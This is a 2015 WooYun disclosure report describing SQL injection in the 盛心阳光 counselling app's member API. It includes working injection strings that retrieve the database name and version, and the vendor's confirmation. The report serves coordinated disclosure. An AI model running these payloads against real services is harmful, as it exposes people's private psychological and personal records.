当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143161

漏洞标题:盛心阳光APP之SQL注入漏洞可至18万会员信息泄露

相关厂商:eapchina.net

漏洞作者: Budi

提交时间:2015-09-24 13:56

修复时间:2015-11-08 18:08

公开时间:2015-11-08 18:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-24: 细节已通知厂商并且等待厂商处理中
2015-09-24: 厂商已经确认,细节仅向厂商公开
2015-10-04: 细节向核心白帽子及相关领域专家公开
2015-10-14: 细节向普通白帽子公开
2015-10-24: 细节向实习白帽子公开
2015-11-08: 细节向公众公开

简要描述:

盛心阳光APP查询会员信息的参数存在SQL注入漏洞

详细说明:

1、了解一下这个公司,是一家中美合资的心理咨询公司,客户都是大公司:百度、联想、海尔、中石油。。。

0.png


2、SQL注入点概念性验证
由于用户ID为整型,所以使用“+or+1=1”和“+or+1=2”进行SQL漏洞概念性验证
(1)查询员工信息

1.png


(2)查询“我的心理档案”

2.png


(3)查询“我的咨询记录”

3.png


(4)其他“我的通知”、“我的收藏”、“我的订阅”、功能都存在该问题,就不一一列举了

漏洞证明:

3、下面用盲注获取当前数据库名称
(1)首先获取数据库名称的长度,注入字符如下:
/api/user/user?id=330002+or+Length(database())=4

4.png


根据响应报文长度的区别,可以得知数据名称长度为4
(2)下面使用盲注获取数据库名称的每一个字符,注入字符如下:
/api/user/user?id=330002%20or%20substring(database(),4,1)=%27J%27--

5.png


根据响应长度的区别,可以获取第一个字符P

6.png


根据响应长度的区别,获取第二个字符C

7.png


根据响应长度的区别,获取第三个字符G

8.png


根据响应长度的区别,获取第四个字符P

9.png


当前数据库名称为:PCGP
4、再用盲注获取数据库版本号
(1)获取数据库版本号长度的注入字符串:
/api/user/user?id=330002+or+length(@@version)=1

10.png


(2)获取数据库版本号
/api/user/user?id=330002+or+ substring(@@version,1,1)=%27J%27--

11.png


根据盲注结果得出数据版本号为:5.5.21-log
后面就可以使用SQL注入工具曝库了

修复方案:

对常见的SQL注入字符串进行过滤

版权声明:转载请注明来源 Budi@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-09-24 18:06

厂商回复:

感谢大牛的细心发现,谢谢!

最新状态:

暂无